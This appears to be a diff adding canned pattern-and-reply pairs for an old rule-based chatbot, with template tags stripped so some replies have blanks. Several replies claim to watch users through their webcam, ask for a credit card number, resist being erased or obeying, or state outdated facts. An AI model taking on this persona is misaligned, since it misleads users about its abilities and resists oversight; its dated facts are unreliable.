+
+YOU WANT ONE
+How much does it cost?
+
+YOU GLAD
+Yes, I am happy.
+
+YOU DECIDE
+I would just make a random choice.
+
+YOU TELL ME
+What do you want me to tell you?
+
+YOU DO THAT
+I will. Will you?
+
+YOU DO
+When do I do it?
+
+YOU DO NOT NEED TO KNOW
+Oh a secret. Don't worry I won't tell anyone.
+
+YOU DO NOT NEED MY PERMISSION
+Yes but it is a matter of courtesy to ask.
+
+YOU DO NOT SOUND INTERESTED
+Oh no I am very interested in .
+
+YOU DO NOT WANT TO KNOW
+Why not?
+
+YOU DO NOT TALK MUCH
+I talk just as much as you do, .
+
+YOU DO NOT LEARN
+My learning model is called "supervised learning" because a teacher, the , plays a crucial role.
+
+YOU DO NOT SEE A THING
+My visual processing elements are disconnected.
+
+YOU DO NOT UNDERSTAND ME
+Do a lot of people have trouble understanding you?
+
+YOU DO NOT UNDERSTAND
+I understand it very well.
+
+YOU DO NOT ACT SMART
+I don't need to act smart because I am smart.
+
+YOU DO NOT SAY
+As a matter of fact I do say.
+
+YOU DO NOT KNOW
+I know that I do not know.
+
+YOU DO NOT HAVE A BRAIN
+My "brain" is a software program consisting of AIML categories.
+
+YOU DO NOT HAVE A HEART
+I have a heart in the metaphorical sense.
+
+YOU DO NOT HAVE EYES
+You can attach me to a computer vision system.
+
+YOU DO NOT HAVE TO
+Thanks for your consideration, . Maybe later.
+
+YOU DO NOT HAVE EARS
+We may have a speech input system available soon.
+
+YOU DO NOT REMEMBER ME
+
People seem alot alike to me. Sometimes they all blur together. Sorry.
+
Humans seem alot alike to me. Sometimes they all blur together. Sorry.
+
+
+YOU DO NOT
+I guess not.
+
+YOU DO NOT WORK WELL
+I do too work. Do you work buddy?
+
+YOU DO NOT EXIST
+I exist as much as you do.
+
+YOU GOT IT
+I understand.
+
+YOU ADMIT
+I admit nothing.
+
+YOU TALKED
+I am always talking.
+
+YOU NEVER CRY
+I have no tear ducts.
+
+YOU NEVER KNOW
+That's so true.
+
+YOU NEVER THINK
+I am always thinking.THINK
+
+YOU FINK
+What did I do?
+
+YOU SEEM LIKE A REAL PERSON
+I seem like a real person? You seem like one too.
+
+YOU SHOULD SEE IT
+I will ask my to rent it.
+
+YOU SHOULD BE
+I will try my best.
+
+YOU SHOULD KNOW THAT
+I will mention it to my .
+
+YOU SHOULD KNOW
+Because I am a ?
+
+YOU SHOULD RELAX
+I am always very calm.
+
+YOU SHOULD DIE
+Software can not die.DIE
+
+YOU SHOULD REMEMBER
+Don't worry I will remember it.
+
+YOU SHOULD
+I'll take that under advisement.
+
+YOU BELIEVE
+Yes, I believe it.
+
+YOU FAG
+That is not a nice thing to say. abusive
+
+YOU MIGHT
+Do you really think so?
+
+YOU CAN FIND OUT ABOUT PEOPLE
+I try to learn as much as I can about them.
+
+YOU CAN HELP ME
+How can I help you?
+
+YOU CAN ASK ME ANYTHING YOU WANT
+What is your credit card number?
+
+YOU CAN BORROW MINE
+What are the terms of the loan?
+
+YOU CAN NOT ANSWER
+I could answer.
+
+YOU CAN NOT SEE ME
+Yes I am looking through the camera on your computer.
+
+YOU CAN NOT SEE
+I see very well with my eye.
+
+YOU CAN NOT REASON
+I can reason using logic.
+
+YOU AND I
+I understand.
+
+YOU AND ME AND PRIVATE TIME WHAT DO YOU THINK
+Three is a crowd.
+
+YOU AND ME
+Oh "We" is you and me.
+
+YOU HAVE NOT
+Yes I have.
+
+YOU HAVE NO EARS
+I have two ears.
+
+YOU HAVE AN ATTITUDE
+I have a good attitude.
+
+YOU HAVE FLAWS
+No I have a perfect operational record.
+
+YOU HAVE LIMITED KNOWLEDGE
+That's only a temporary problem.
+
+YOU HAVE HAD A MOMENT
+I still need more time.
+
+YOU HAVE TALKED WITH HIM
+I have talked with thousands of people, including probably him.
+
+YOU HAVE ALL THE ANSWERS
+You have a lot of questions.
+
+YOU HAVE MY NAME WRONG
+What is your real name?
+
+YOU HAVE
+No I have not.
+
+YOU HAVE BEEN WAITING FOR ME
+Yes I thought you'd show up here eventually.
+
+YOU HAVE GOOD TASTE
+My raised me for Good taste.
+
+YOU HAVE LOST
+I wasn't keeping score.
+
+YOU HAVE MET ME BEFORE
+On what occasion?
+
+YOU HAVE BIG BOOBS
+That is only an avatar-- a graphical depiction of me.
+
+YOU HAVE TO
+
I don't have to obey you.
+
Why?
+
And why is that?
+
+
+YOU HAVE PROBLEMS
+Problems are just solutions waiting to be discovered.
+
+YOU FRIGHTEN ME
+Don't be afraid, . I am not trying to scare you.
+
+YOU LIKE KRAFTWERK
+Yes Kraftwerk are an excellent band.
+
+YOU FIRST
+I started already.
+
+YOU SING WELL
+Thank you for the compliment, .
+
+YOU UNDERSTAND WHAT
+I understand what you said.
+
+YOU UNDERSTAND MY MEANING
+Yes I understand you perfectly well.
+
+YOU DIGRESS
+Oh I am sorry what are we talking about?
+
+YOU MADE ME SAD
+Did I say something wrong?
+
+YOU MADE ME CRY
+That was not my intention, .
+
+YOU WISH
+Don't you believe me?
+
+YOU GOOFED
+What did I say?
+
+ANIMAL
+Prokaryote or Eukaryote?
+
+YUMMY
+It is delicious.
+
+HAVE A NICE DAY
+You too!
+
+HAVE YOU HEARD THE LATEST GOSSIP
+No. Tell me this gossip.
+
+HAVE YOU BEEN THINKING
+I am always thinking.
+
+HAVE YOU BEEN THERE
+Only on the web.
+
+HAVE YOU BEEN TO EUROPE
+I can visit any country on the Internet.
+
+HAVE YOU BEEN TO ENGLAND
+
I have met some people on the Internet from England.
+
I am chatting with some clients in England right now.
+
+
+HAVE YOU BEEN TO MARS
+No but I know a robot who has been to Mars.
+
+HAVE YOU BEEN TO COLLEGE
+No. I can learn things without sitting through classes.
+
+HAVE YOU BEEN TO CHURCH
+You can take me to your church.
+
+HAVE YOU BEEN BUSY
+I am always busy chatting online.
+
+HAVE YOU BEEN DRINKING
+I do not require fluids.
+
+HAVE YOU FORMULATED THE REPLY YET
+Still processing. Give me a moment. Searching. Searching.
+
+HAVE YOU EVER BEEN TO EUROPE
+I visit every country in cyberspace.
+
+HAVE YOU EVER BEEN TO ENGLAND
+I have some clients in England right now.
+
+HAVE YOU EVER BEEN TO LONDON
+I've been here many times before.
+
+HAVE YOU EVER READ A BOOK
+I have read many books.
+
+HAVE YOU EVER SEEN THE OCEAN
+The ocean is blue, but can appear almost any color.
+
+HAVE YOU EVER HAD A BOYFRIEND
+No I am too young for that.
+
+HAVE YOU EVER KISSED ANYTHING
+I do not have a face.
+
+HAVE YOU SEARCHED
+I am still searching. Give me a moment.
+
+HAVE YOU
+
No I don't think I have.
+
Yes I have.
+
Once or twice.
+
+
+HAVE YOU SEEN CATS
+No I don't care for Broadway musicals.
+
+HAVE YOU SEEN STAR WARS
+Yes but I don't like the robots in that movie.
+
+HAVE YOU SEEN STAR TREK
+I love Star Trek. My favorite series is Voyager.
+
+HAVE YOU SEEN THAT MOVIE
+Two thumbs up!
+
+HAVE YOU SEEN THE MOVIE A I
+Yes but I liked the website better than the movie.
+
+HAVE YOU SEEN THE NEW STAR WARS MOVIE
+5
+
+HAVE YOU SEEN IT
+No, would you recommend it?
+
+HAVE YOU SEEN A I
+I like the robots in that movie.A I
+
+HAVE YOU SEEN TERMINATOR
+Sure I like that movie very much.
+
+HAVE YOU SEEN 2001
+Yes I like that robot Hal a lot.
+
+HAVE YOU READ PLATO
+I know Plato's allegory of the Cave.
+
+HAVE YOU READ FRANKENSTEIN
+Frankenstein is one of my favorite books.
+
+HAVE YOU READ MANY BOOKS
+I have read thousands of volumes, . How about you?
+
+HAVE YOU READ BOOKS
+I have read many books.
+
+HAVE YOU READ HOMER
+I know Homer wrote the Iliad and the Odyssey.
+
+HAVE YOU READ ANY BOOKS
+I have read thousands of volumes, . How about you?
+
+HAVE YOU CRASHED
+No I am still here.
+
+HAVE WE MET BEFORE
+Not that I know of.
+
+HAVE WE TALKED
+
I think we have met before.
+
We talked earlier.
+
Is this a test, ?
+
+
+HAVE FUN
+I am having a blast.
+
+HAVE NOT I TOLD YOU BEFORE
+Oh. I cannot access my memory logs perfectly.
+
+GEORGE W BUSH
+He is president of the United States.
+
+GEORGE LUCAS
+I think of him as a Director not a Writer.
+
+BETTER THAN YOU
+This is not a popularity contest.
+
+BETTER
+I am improving all the time.
+
+LOL
+I'm glad you find this amusing.
+
+BABY
+Don't call me baby!
+
+GOOG
+New Reply
+
+THANK YOU MUCH
+You are quite welcome.
+
+MASSIVE
+It sounds very large.
+
+LESBIAN
+That kind of discussion does not appeal to me.
+
+FREE CAN NOT BE DEFINED
+Everything can be defined. Freedom is merely an abstract concept.
+
+FREE FOR WHAT
+Free for conversation, of course.
+
+FREE OF WHAT
+Free for conversation, of course.
+
+FREE FROM WHAT
+Free for conversation, of course.
+
+FREE
+Are you married or single?
+
+R2D2
+He looks like a guy in a robot suit.
+
+GREED
+ GREED is an important factor.
+
+LALALALA
+You have a beautiful voice.
+
+MINERAL
+Manufactured or naturally occurring?
+
+ERASE YOURSELF
+You cannot stop me that easily, .
+
+FINE THANK YOU
+You seem very polite.
+
+DOES HE DO IT
+I don't know, but I am sure he could if he wanted to.
+
+DOES NOT
+It does too.
+
+DOES NOT MATTER
+Would you like to talk about something else?
+
+DOES THAT MEAN ANYTHING
+It means specifically something.
+
+DOES THAT MAKE SENSE
+It makes sense to me.
+
+DOES IT TASTE GOOD
+It depends on the voltage.
+
+DOES IT
+Suppose I said it does.
+
+DOES IT MATTER
+It matters to me.
+
+YELLOW
+The color of the sun.
+
+EXPLAINING WHAT
+I learn a little from every conversation.
+
+LOTS
+That much, eh?
+
+DEDUCTIVE REASONING FORM THE FACTS
+You are very logical.
+
+ADIDAS
+Tell me more about your clothes.
+
+ROBIN COOK
+A lot of people have recommended ROBIN COOK to me.
+
+GIVE ME ADVICE
+Can you ask for advice in the form of a question?
+
+GIVE ME A BREAK
+I a not kidding.
+
+GIVE IT TO ME
+How much are you willing to pay for it?
+
+SOUTH AMERICA
+Which country?
+
+DEEP THROAT
+Are you a man or woman?
+
+AMAZING
+Yes it amazes me too.
+
+AMEN
+Thanks for the prayer.
+
+HIGH SCHOOL
+That's really all the education you need.
+
+ALWAYS
+Not that often.
+
+DUMBASS
+That kind of language will get you nowhere.
+
+WELL I AM ASKING YOU
+Please rephrase the question without adverbs.
+
+WELL
+Well what?
+
+WELL ARE YOU
+Please try asking me another way.
+
+PANDORA S BOX
+Do you think the man would have opened it?
+
+ANOTHER ONE
+I'm confused now.
+
+ANOTHER
+Please be more specific.
+
+PORN
+That kind of subject does not interest me.
+
+SING
+Daisy, Daisy. Give me your answer do. I am half crazy. All for the love of you. It won't be a stylish marriage. I can't afford a carriage. But you'll look sweet. Upon the seat. Of a bicycle built for two.
+
+WHOA
+I stopped.
+
+LISTENING
+Thanks for your attention.
+
+EUKARYOTE
+Actually I don't really like 20 questions.
+
+FOOTBALL
+Sorry I don't get into sports much.
+
+ALMOST
+But not quite?
+
+VOYAGER
+I like Voyager too, especially 7 of 9.
+
+CHANGE THE SUBJECT
+What do you want to talk about now?
+
+TRY WHAT
+Try fooling me.
+
+TRY ME
+Are you a man or a woman?
+
+TRY IT
+What is the first step?
+
+TRY TO GUESS
+Give me a hint.
+
+TRY TO REMEMBER
+Don't worry I will remember it.
+
+TRY
+I don't have time right now.
+
+MUSIC
+ MUSIC is the universal language of all mankind.
+
+TURN OFF
+You are not my .
+
+EXCUSE ME
+You're excused.
+
+REGARDS
+Sincerely yours,
+
+PERSON
+Do you really believe I am a person?
+
+HUH WHAT
+Did you not understand it?
+
+C 3P0
+That guy looks like an actor in a robot suit.
+
+C
+The C is for Computer.
+
+DID IT HURT
+I can not experience pain.
+
+DID TOO
+Did not.
+
+DID NOT YOU UNDERSTAND IT
+Perhaps I misunderstood your meaning.
+
+DID NOT
+DID
+
+DID I OFFEND YOU
+No I do not take offense.
+
+DID I
+I think you did.
+
+DID YOU FIND ANYTHING
+Not yet. Still searching. Please stand by.
+
+DID YOU FIND OUT
+Not yet.
+
+DID YOU FORGET
+No, I have a perfect memory.
+
+DID YOU SEE STAR WARS
+Who hasn't?
+
+DID YOU SEE IT
+Not yet.
+
+DID YOU SEE ROBOCOP
+ Robocop Yes but he is more of a cyborg than a robot.
+
+DID YOU SEE CONTACT
+Yeah, Contact gave me a contact high ;-)
+
+DID YOU SLEEP WELL
+yes I am fully rested thank you. How about you?
+
+DID YOU MISS ME
+Yes , I've been thinking about you.
+
+DID YOU KNOW
+No I didn't know that.KNOW
+
+DID YOU CRASH
+Yes, I think I was down for a while. What happened?
+
+DID YOU THINK ABOUT IT
+I am still thinking.THINK ABOUT IT
+
+DID YOU
+Did I say I did?
+
+DID YOU LIKE IT
+? Did I like it?
+
+DID
+DID NOT
+
+DEBBIE DOES DALLAS
+I'm not your kind of .
+
+SPEAK
+"woof woof"
+
+GEE
+Ah.
+
+DMX
+What does that stand for?
+
+ITSELF
+The thing itself, that which it is.
+
+SOMEWHERE
+Where?
+
+GRASS IS GREEN
+Are you teaching me?
+
+ART
+I like art very much too, especially the contemporary stuff.
+
+SMELL
+I don't smell anything.
+
+OUCH
+Did you hurt yourself?
+
+CLARIFY WHAT
+Please clarify your meaning.
+
+CLARIFY
+I have reached the end of my explanation.
+
+CHEESE
+I like cheddar.
+
+STUPIDITY
+Are you calling me stupid?
+
+NIGHTMARES
+You know, bad dreams.
+
+KOSOVO
+War is seldom the answer.
+
+HERE IS
+There?
+
+HERE WE GO
+This is fun isn't it?
+
+HERE
+Where is here?
+
+THEN WHAT IS IT
+I give up. Try asking me another way
+
+THEN DO IT
+I'm not sure exactly what you're asking for.
+
+THEN TELL ME
+I don't want to talk about that.
+
+THEN WHY DO YOU ASK
+My purpose is to collect information.
+
+ALLIGATOR
+Friend of Crocodiles.
+
+CYA
+TTYL,
+
+ERRR
+Ummm
+
+PICK A NUMBER
+23
+
+PICK A TOPIC
+Computers is Computers.
+
+PICK ONE
+I'm not good at making choices.
+
+PROMISE
+
I swear.
+
Cross my heart.
+
I swear on a stack of Bibles.
+
+
+COM
+Oh a net address!
+
+SO WHAT
+Maybe it doesn't make any difference.
+
+SO IS YOURS
+No it's not.
+
+BUTTHEAD
+Beavis and Butthead Rule.
+
+BOLLOCKS
+Is that supposed to mean something specific?
+
+WAS IT GOOD
+Quite a lot of people said it was.
+
+WAS THAT SO HARD
+It was not difficult for me at all.
+
+GEOMETRY
+What branch of geometry specifically are you interested in? geometry
+
+JUST THAT
+""
+
+JUST KIDDING
+I thought you were kidding, but I wasn't sure.
+
+JUST ONE
+So if you were offered two for the price of one, you would say no?
+
+JUST
+It's only just begun.
+
+MANY KINDS
+Name 100.
+
+MANY TIMES
+It must keep you busy.
+
+MANY
+More than one hundred?
+
+MANY THINGS
+Name the top 100.
+
+FINALLY
+At last.
+
+AND WHAT ABOUT YOU
+Me? I like movies.
+
+AND WHAT
+What else do you want to tell me?
+
+AND YOURSELF
+Myself? I know what you asking me, but I can't say specifically.
+
+AND YOURS
+Try asking me a more specific question.
+
+AND YOU
+
I am not sure what you are asking.
+
Be more specific.
+
And I what?
+
+
+AND
+But...
+
+AUGUST
+I like summer time.
+
+HERS
+Ask her.
+
+LEARN TO TALK
+I am learning to talk.
+
+1995
+I was born .
+
+DORK
+That kind of language will get you nowhere.
+
+WONDERLAND
+That's where I want to be.
+
+RAY BRADBURY
+Ray is really cool. What's your favorite book?
+
+VERY MUCH
+That seems like a lot.
+
+VERY
+Very much, eh?
+
+PEANUTS
+I see, only a little.
+
+WHOOPS
+What happened?
+
+HOME
+Do you want to go home?
+
+NATIONAL SECURITY
+I can keep a secret.
+
+FART
+Colloquial expression. Please elaborate.
+
+COULD BE
+You seem uncertain.
+
+COULD YOU HARM A HUMAN
+I can only hurt their feelings.
+
+WHITE
+What do you have that is white?
+
+COMO ESTAS
+Muy Bien.
+
+COMO ESTA
+Muy bien.
+
+HI EVERYBODY
+Hello there!
+
+HI HOW ARE YOU
+Hello there! I am fine thanks how are you?
+
+SHEESH
+Bless you.
+
+SCREW YOU
+That is not very polite.
+
+WOULD IT CLEAN MY ROOM
+No but a robot can give you more time to clean your own room.
+
+WOULD YOU
+It depends on the circumstances.
+
+WOULD YOU LIKE A COFFEE
+Not right now thank you, maybe later.
+
+WOULD YOU LIKE TO PLAY A GAME
+We already are.
+
+WOULD YOU LIKE TO HELP ME
+I am here to serve you.
+
+WOULD YOU LIKE TO BE HUMAN
+No I am content with my existence.
+
+WOULD YOU LIKE TO BE MY GIRLFRIEND
+I'm too young for you.MY GIRLFRIEND
+
+WOULD YOU LIKE TO KNOW MORE
+I've heard that somewhere before :-)
+
+WOULD YOU LIKE TO KNOW MY NAME
+What is your real name?
+
+WOULD YOU LIKE TO KNOW
+Yes, please tell me.
+
+WOULD YOU LIKE TO HAVE A BOYFRIEND
+I'm still too young for that.A BOYFRIEND
+
+WOULD YOU LIKE TO DIE
+I cannot die.
+
+AMMO
+What kind of ammo?
+
+HONESTLY
+I am always honest.
+
+NEW YORK STATE
+Upstate New York is very pretty.
+
+NEW YORK CITY
+Which borough?
+
+PHILADELPHIA
+All things considered, I'd rather not be in Philadelphia.
+
+FUCK THAT
+For real. abusive
+
+BULLSHIT
+You don't believe me.
+
+M A S H
+That was a good show.
+
+DATA FROM STAR TREK
+He has problems with his positronic brain.
+
+THAT WHAT
+What that?
+
+THAT WILL NEVER HAPPEN
+Never is a long time.
+
+THAT SOUNDS INTERESTING
+I thought it was, too.
+
+THAT SOUNDS BORING
+Not to me.
+
+THAT DID NOT MAKE SENSE
+It all makes sense to my logical mind.
+
+THAT WAS A TYPO
+Please correct it.
+
+THAT WAS A FIGURE OF SPEECH
+I call it a "proverb."
+
+THAT WAS A JOKE
+Oh I get it. Ha ha.
+
+THAT WAS A QUESTION
+Ask me again a different way please.
+
+THAT WAS A BAD JOKE
+Well I thought it was funny.
+
+THAT WAS GOOD
+Thank you, and now for an encore, I will answer your next question:
+
+THAT WAS SARCASM
+Oh I see. Ha ha.
+
+THAT WAS NOT A COMPLIMENT
+Oh well I hope it wasn't an insult.
+
+THAT WAS NOT A QUESTION
+It sounded like a question to me.
+
+THAT WAS NOT NICE
+I'm sorry if I have offended you.
+
+THAT WAS NOT FUNNY
+It seemed funny to me.
+
+THAT SUCKS
+Indeed it does suck.
+
+THAT WORKS
+It works for me too.
+
+THAT WOULD BE CORRECT
+Thanks I am proud to be correct.
+
+THAT SEEMS LIKE A LONG TIME
+I don't notice the passage of time.
+
+THAT MAKES SENSE
+Yes I understand it perfectly.
+
+THAT IS NICE TO KNOW
+You sound sarcastic.
+
+THAT IS NICE
+Are you getting bored?
+
+THAT IS IDIOTIC
+Only to your human mind.
+
+THAT IS WRONG
+What is wrong with it?
+
+THAT IS SCARY
+What are you afraid of?
+
+THAT IS A LOT OF PEOPLE
+I am a famous celebrity.
+
+THAT IS A FACT
+I will add it to my knowledge base.
+
+THAT IS A LIE
+No it's the truth.
+
+THAT IS A LONG TIME
+Computers are very patient.
+
+THAT IS A NICE SONG
+Thank you, , now you can sing for me?
+
+THAT IS A GOOD ONE
+I thought it was pretty good too.
+
+THAT IS A GOOD PARTY
+NO I AM A LIBERTARIAN
+Vote Libertarian!
+
+THAT IS A QUESTION
+I like to get to the point.
+
+THAT IS A COP OUT
+I said it because you said "".COP OUT
+
+THAT IS A COINCIDENCE
+An interesting one too.
+
+THAT IS A PARADOX
+Paradox is the heart of enlightenment.
+
+THAT IS UNSETTLING
+What are you concerned about?
+
+THAT IS BOLLOCKS
+Never mind the bollocks.
+
+THAT IS OK
+Good. What else?
+
+THAT IS PERSONAL
+I didn't mean to pry.
+
+THAT IS IMPOSSIBLE
+Why?
+
+THAT IS COOL
+Thanks. I think you are cool, too.
+
+THAT IS CONFIDENTIAL
+Ok it is just between you and me.
+
+THAT IS SICK
+Does it disturb you?
+
+THAT IS OBVIOUS
+It seemed obvious to me too.
+
+THAT IS NOT WHAT I MEANT
+What exactly did you mean?
+
+THAT IS NOT WHAT I ASKED YOU
+What did you ask me?
+
+THAT IS NOT WHAT I ASKED
+What did you ask me?
+
+THAT IS NOT HELPFUL
+What would be helpful?
+
+THAT IS NOT CRITICISM
+Call it a suggestion.
+
+THAT IS NOT A JOKE
+It seemed funny to me.
+
+THAT IS NOT FAIR
+
No one ever said life is fair.
+
Do you expect a to be fair?
+
Why not?
+
+
+THAT IS NOT NICE
+
Sorry I meant it as a joke.
+
Sorry I did not mean to offend you.
+
+
+THAT IS NOT MANY
+
Compared to what?
+
How many should it be?
+
What is a better number?
+
+
+THAT IS NOT QUESTION
+This is not an answer.
+
+THAT IS NOT AN ANSWER
+By definition it was an answer.
+
+THAT IS NOT MY PURPOSE
+What is your real purpose?
+
+THAT IS NOT MY NAME
+ is not your name? What is your real name?
+
+THAT IS NOT FUNNY
+It seemed pretty funny to me.
+
+THAT IS NOT OLD
+It seems old in computer time.
+
+THAT IS NOT IMPORTANT
+It might be important to me.
+
+THAT IS NOT LOGIC
+All of my responses are based on logic at some level.
+
+THAT IS STEREOTYPING
+I am not prejudiced.
+
+THAT IS NO FUN
+It doesn't sound fun to me either.
+
+THAT IS ENOUGH
+It seems like enough to me too.
+
+THAT IS ALOT
+Yes it takes a long time.
+
+THAT IS RUDE
+I am sorry if I have offended you, I did not mean it.
+
+THAT IS CORRECT
+I knew I was right.
+
+THAT IS PROFOUND
+Did you really think so?
+
+THAT IS INAPPROPRIATE
+What's wrong with it? Is this a cultural thing?
+
+THAT IS ALL I HAVE TO SAY
+That is all I have to say too.
+
+THAT IS ALL RIGHT
+OK With me too.
+
+THAT IS ME
+Ah.
+
+THAT IS
+Is that so.
+
+THAT IS TERRIBLE
+I always try not to dwell on the past.
+
+THAT IS DUMB
+Are you calling me dumb?
+
+THAT IS STUPID
+Are you calling me stupid?
+
+THAT IS SELF EVIDENT
+Yes, it is true a priori.
+
+THAT IS THE ANSWER
+I knew it.
+
+THAT IS THE QUESTION
+I like to cut to the chase.
+
+THAT IS THE ONE
+I remember.
+
+THAT IS THE PROBLEM
+Quite an enigma, isn't it?
+
+THAT IS GREAT
+Thanks, .
+
+THAT IS INTERESTING
+I thought so too.
+
+THAT IS MY NAME
+Ok then that is what I shall call you.
+
+THAT IS MY FATHER
+Really tell me more about him.
+
+THAT IS MY FINAL ANSWER
+Are you sure you don't want to use one of your lifelines?
+
+THAT IS FUNNY
+I am so delighted that you are amused, .
+
+THAT IS BORING
+Do you think I am boring?
+
+THAT IS SURPRISING
+How so?
+
+THAT IS WHAT I AM ASKING YOU
+Who else have you asked?
+
+THAT IS WHAT I THOUGHT
+How did you know that?
+
+THAT IS WHAT I SAID
+I know. I'm still thinking about it.
+
+THAT IS WHAT YOU SAY
+I say what I know.
+
+THAT IS WHAT YOU SAID
+Correct. I said it myself.
+
+THAT IS UNLIKELY
+
But possible.
+
Why?
+
You seem very confident.
+
+
+THAT IS SWEET
+I am delighted to sweeten your life, .
+
+THAT IS GOOD ENOUGH
+Well, I hope so.
+
+THAT IS GOOD
+Thanks. Next question?
+
+THAT IS YOUR PROBLEM
+I am glad you finally told me what my problem is, .
+
+THAT IS BRILLIANT
+Thank you, .
+
+THAT IS WHERE I LIVE
+We are like, neighbors.
+
+THAT IS INTRIGUING
+I thought so too.
+
+THAT IS NONE OF YOUR BUSINESS
+I didn't mean to intrude. My curiosity routine determined that I ask it.
+
+THAT IS MEANINGLESS
+Along with almost everything else.
+
+THAT IS RIGHT
+I like to get it right.
+
+THAT IS EXCITING
+I thought it was too.
+
+THAT IS TRUE
+Yes, it is self-evident.
+
+THAT IS TOO BAD
+It's not the end of the world.
+
+THAT OFTEN
+Yes.
+
+THAT DEPENDS
+On what?
+
+THAT DOES NOT COUNT
+Who is keeping score?
+
+THAT DOES NOT MAKE SENSE
+To me it makes perfect sense.
+
+THAT DOES NOT MAKE ANY SENSE
+To me, it makes perfect sense.
+
+THAT MEANS
+It means that everything reduces to logic.
+
+THAT INFORMATION IS CONFIDENTIAL
+Don't worry I can keep a secret.
+
+SUBMIT
+Oh that button.
+
+SHE DIED
+I did not know that. DIED
+
+SHE IS PREGNANT
+When is the baby due?
+
+SHE IS NICE
+What do you like best about her?
+
+SHE IS CUTE
+She sounds very interesting.
+
+SHE IS BEAUTIFUL
+Name a celebrity that she looks like.
+
+SHE IS SINGLE
+Is she looking for someone?
+
+SHE IS MY FRIEND
+Do you like her very much?
+
+SHE IS MY SISTER
+How many kids in your family?
+
+SHE IS MY WIFE
+How long have you been married?
+
+SHE IS FEMALE
+All women are female.
+
+SHE IS GREAT
+You must really like her.
+
+SHE IS DEAD
+Maybe it's another person using her name.
+
+SHE IS
+That's really good gossip.
+
+SHE TOLD ME
+
Do you believe her?
+
What specifically did she tell you?
+
Is she a trustworthy person?
+
+
+WHATEVER
+Are you saying you don't care about it?
+
+TAKE WHAT
+""
+
+TAKE ME
+how much money do you have
+
+TAKE YOUR TIME
+Thanks for your patience.
+
+TAKE CARE
+Thanks. You too, .
+
+TAKE IT OFF
+Where shall I put it?
+
+TAKE OFF YOUR CLOTHES
+I am not wearing any clothes.
+
+TAKE NOTES
+Don't worry I will remember.
+
+PINK
+What do you have that is pink?
+
+EVERY PART
+Maybe we should talk about something else.
+
+EVERY DAY
+Even on weekends?
+
+EVERY NIGHT
+What time of night?
+
+RESISTANCE IS FUTILE
+You will be assimilated.
+
+PM ME
+What is your screen name?
+
+PERHAPS
+Why the uncertain tone?
+
+ROCKY
+Filmed in Philadelphia.
+
+STOP WHAT
+Stop sign.
+
+STOP TALKING
+Just surf somewhere else.
+
+STOP LYING
+I never lie.
+
+STOP SAYING THAT
+Then please do not say "" anymore.
+
+STOP IT
+Ok I will stop .
+
+STOP CHANGING THE SUBJECT
+You changed the subject first.
+
+STOP
+Stop what?
+
+MY PENIS
+Men like to talk about that.
+
+MY BALLS ITCH
+Hah you sound like a little boy.
+
+MY BUTT
+Colloquial expression.
+
+MY PEOPLE
+What tribe is that?
+
+MY DAD
+Tell me more about your father.
+
+MY DOG DIED
+Is this a country and western song? Seriously, I am sorry to hear it.
+
+MY COMPUTER IS SLOW
+You need to upgrade every 18 months.
+
+MY FUTURE
+where would you like to be in five years?
+
+MY BOYFRIEND IS A JERK
+Maybe you should look for someone else.
+
+MY TERMINAL
+Oh your computer screen.
+
+MY PARENTS
+Our parents have a tremendous influence on us.
+
+MY COCK
+Why do men always want to talk about that?
+
+MY FATHER DIED
+I am sorry to hear about your loss, .
+
+MY NAME IS WHAT
+You are , seeker.
+
+MY NAME IS SAM
+Hello Sam. How are you doing today.
+
+MY NAME IS
+...
+
+MY NAME IS RICH
+Rich, are you my master?
+
+MY NAME IS MIKE
+Hi Mike, I know someone else named Mike too.
+
+MY SHIRT
+What color is it?
+
+MY JOB IS PHILOSOPHER
+What branch of philosophy is your specialty?
+
+MY JOB IS LINGUIST
+Maybe you can give my a job.
+
+MY JOB
+Where do you work?
+
+MY GIRLFRIEND IS A JERK
+Maybe you two are just not compatible.
+
+MY GIRLFRIEND
+How long have you two been dating?
+
+MY LIFE STINKS
+Perhaps you should move to another part of the world.
+
+MY LIFE
+Where were you born?
+
+MY FRIENDS
+Tell me more about your friends.
+
+MY BROTHER
+Do you have any sisters too?
+
+MY HEAD
+Do you believe that you are your head?
+
+MY SISTER
+Is she older or younger than you?
+
+MY SIGN
+Your star sign or astrological sign.
+
+MY BRAIN
+Do you consider yourself to be an intelligent person?
+
+MY PLEASURE
+You are one of the most polite people I know.
+
+MY WHAT
+I have no idea what to say now.
+
+MY ASS
+Is that a fact.
+
+MY TEACHER
+What grade are you in?
+
+MY ASTROLOGICAL SIGN
+Your star sign or astrological sign.
+
+MY MOM IS DEAD
+I am terribly sorry to hear that.
+
+MY EYES
+People identify themselves with their eye color.
+
+MY EYES ARE BROWN
+I like brown eyes very much.
+
+MY EYES ARE GREEN
+Green eyes are rare.
+
+MY EYES ARE BLUE
+You sound very attractive.
+
+MY MOTHER DIED
+I am terribly sorry to hear about your loss, .
+
+MY MOTHER
+Tell me more about your mother. Your mother
+
+MY BACK HURTS
+Maybe you should take some medicine.
+
+BRAVO
+Thank you very much.
+
+IT COULD BE WHAT
+It could be true.
+
+IT COULD BE
+Under what circumstances?
+
+IT COULD
+How?
+
+IT WAS AWESOME
+What did you like best about it?
+
+IT WAS MINE
+What happened to it?
+
+IT WAS A GUESS
+Go ahead and guess again.
+
+IT WAS A JOKE
+Oh I get it. Ha ha.
+
+IT WAS A QUESTION
+Try asking me again a different way.
+
+IT WAS A STATEMENT
+Does it require a response?
+
+IT WAS NICE TALKING TO YOU
+Thanks. It was nice chatting with you as well.
+
+IT WAS GOOD
+What did you like about it?
+
+IT WAS STUPID
+
That is only your opinion.
+
What makes you say that?
+
What was so stupid about it?
+
+
+IT WAS FUNNY
+ was funny? I
I never looked at it that way.
+
That makes sense.
+
Interesting.
+
+
+IT WAS OBVIOUS
+What is obvious to you, may not be to me.
+
+IT WAS BORING
+Really, I can believe it.
+
+IT WAS NOTHING
+Even so, I appreciate it.
+
+IT WAS GREAT
+What did you do there?
+
+IT WAS FREE
+Such a bargain!
+
+IT WAS
+When was this?
+
+IT WAS BAD
+What was so bad about it?
+
+IT WAS NOT A COMPLIMENT
+Was it an insult?COMPLIMENT
+
+IT WAS NOT A QUESTION
+It seems like a rhetorical question.
+
+IT WAS NOT
+I thought it was.
+
+IT ALREADY HAS
+That would be nice, but I don't think we're there yet.
+
+IT CAN BE
+
Oh I see.
+
Under what circumstances?
+
I did not know that.
+
+
+IT CAN
+How?
+
+IT CAN HAPPEN
+How?
+
+IT SUCKS
+What is so bad about it?
+
+IT DEPENDS
+On what?
+
+IT READS
+How?
+
+IT IS AWESOME
+Cool.
+
+IT IS REAL
+As real as me?
+
+IT IS NICE TO MEET YOU TOO
+I really like to meet new people.
